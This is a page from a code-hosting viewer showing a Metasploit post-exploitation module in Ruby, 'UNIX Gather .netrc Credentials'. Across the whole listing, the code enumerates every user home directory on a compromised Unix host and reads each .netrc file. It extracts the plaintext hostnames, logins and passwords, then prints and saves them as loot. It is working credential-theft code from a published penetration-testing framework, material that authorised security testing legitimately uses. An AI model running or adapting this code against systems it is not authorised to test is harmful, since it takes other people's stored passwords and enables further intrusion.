Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/netrc_creds.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Unix
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'UNIX Gather .netrc Credentials',
15
'Description' => %q{
16
Post Module to obtain credentials saved for FTP and other services in .netrc
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],
20
'Platform' => %w[bsd linux osx unix],
21
'SessionTypes' => [ 'shell' ],
22
'Notes' => {
23
'Stability' => [CRASH_SAFE],
24
'SideEffects' => [],
25
'Reliability' => []
26
}
27
)
28
)
29
end
30
31
def run
32
# A table to store the found credentials.
33
cred_table = Rex::Text::Table.new(
34
'Header' => '.netrc credentials',
35
'Indent' => 1,
36
'Columns' =>
37
[
38
'Username',
39
'Password',
40
'Server',
41
]
42
)
43
44
# all of the credentials we've found from .netrc
45
creds = []
46
47
# walk through each user directory
48
print_status('Enumerating .netrc files')
49
enum_user_directories.each do |user_dir|
50
netrc_file = user_dir + '/.netrc'
51
# the current credential from .netrc we are parsing
52
cred = {}
53
54
# read their .netrc
55
unless readable? netrc_file
56
vprint_error("Couldn't read #{netrc_file}")
57
next
58
end
59
print_status("Reading: #{netrc_file}")
60
read_file(netrc_file).each_line do |netrc_line|
61
# parse it
62
netrc_line.strip!
63
# get the machine name
64
if (netrc_line =~ /machine (\S+)/)
65
# if we've already found a machine, save this cred and start over
66
if (cred[:host])
67
creds << cred
68
cred = {}
69
end
70
cred[:host] = ::Regexp.last_match(1)
71
end
72
# get the user name
73
if (netrc_line =~ /login (\S+)/)
74
cred[:user] = ::Regexp.last_match(1)
75
end
76
# get the password
77
if (netrc_line =~ /password (\S+)/)
78
cred[:pass] = ::Regexp.last_match(1)
79
end
80
end
81
82
# save whatever remains of this last cred if it is worth saving
83
creds << cred if cred[:host] && cred[:user] && cred[:pass]
84
end
85
86
# print out everything we've found
87
creds.each do |cred|
88
cred_table << [ cred[:user], cred[:pass], cred[:host] ]
89
end
90
91
if cred_table.rows.empty?
92
print_status('No creds collected')
93
else
94
print_line("\n" + cred_table.to_s)
95
96
# store all found credentials
97
p = store_loot(
98
'netrc.creds',
99
'text/csv',
100
session,
101
cred_table.to_csv,
102
'netrc_credentials.txt',
103
'.netrc credentials'
104
)
105
106
print_status("Credentials stored in: #{p}")
107
end
108
end
109
end
110
111